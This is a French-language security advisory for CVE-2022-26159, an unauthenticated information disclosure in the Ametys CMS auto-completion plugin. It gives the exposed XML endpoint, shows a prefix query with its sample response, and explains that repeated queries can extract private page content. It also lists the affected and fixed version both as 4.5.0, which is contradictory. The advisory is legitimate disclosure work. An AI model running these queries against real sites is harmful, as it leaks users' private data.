CVE-2022-26159 - Ametys CMS - Unauthenticated information disclosure

  • Title : Ametys CMS - Unauthenticated information disclosure in the auto-completion plugin
  • Author : @Podalirius
  • CVSS : 5.3 (Medium)
  • CVSS Vector : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Résumé

Le plugin d’auto-complétion dans Ametys CMS avant 4.5.0 permet à un attaquant distant non authentifié de lire des documents tels que plugins/web/service/search/auto-completion/domain/en.xml (et des chemins similaires pour d’autres langages), qui contiennent tous les caractères saisis par tous les utilisateurs, y compris le contenu des pages privées. Par exemple, une page privée peut contenir des noms d’utilisateur, des adresses e-mail et éventuellement des mots de passe.

Produits affectés

Product Software version
Ametys <= 4.5.0

Exploitation

Le plugin d’autocomplétion dans Ametys CMS <= 4.5.0 expose publiquement un fichier XML contenant une liste de mots à l’adresse suivante :

https://domain.tld/plugins/web/service/search/auto-completion/domain/en.xml

Pour effectuer une requête sur cette base de données, il suffit à un attaquant de taper le début du mot dans le paramètre q (query) :

https://domain.tld/plugins/web/service/search/auto-completion/domain/en.xml?q=adm

Et le plugin d’auto-complétion renvoie les 10 premiers mots correspondants commençant par adm (de la requête) dans un fichier XML :

<?xml version="1.0" encoding="UTF-8"?>
<auto-completion>
    <item>administrateur</item>
    <item>administrateurs</item>
    <item>administratif</item>
    <item>administratifs</item>
    <item>administration</item>
    <item>administrations</item>
    <item>administrative</item>
    <item>administratives</item>
    <item>administres</item>
    <item>admission</item>
</auto-completion>

Dans cette optique, un attaquant n’a plus qu’à effectuer une recherche en profondeur sur l’API pour extraire tout le contenu de la base d’auto-complétion.

Remédiations

Afin de corriger cette vulnérabilité, vous devez mettre à jour votre CMS Ametys vers la dernière version (>= 4.5.0).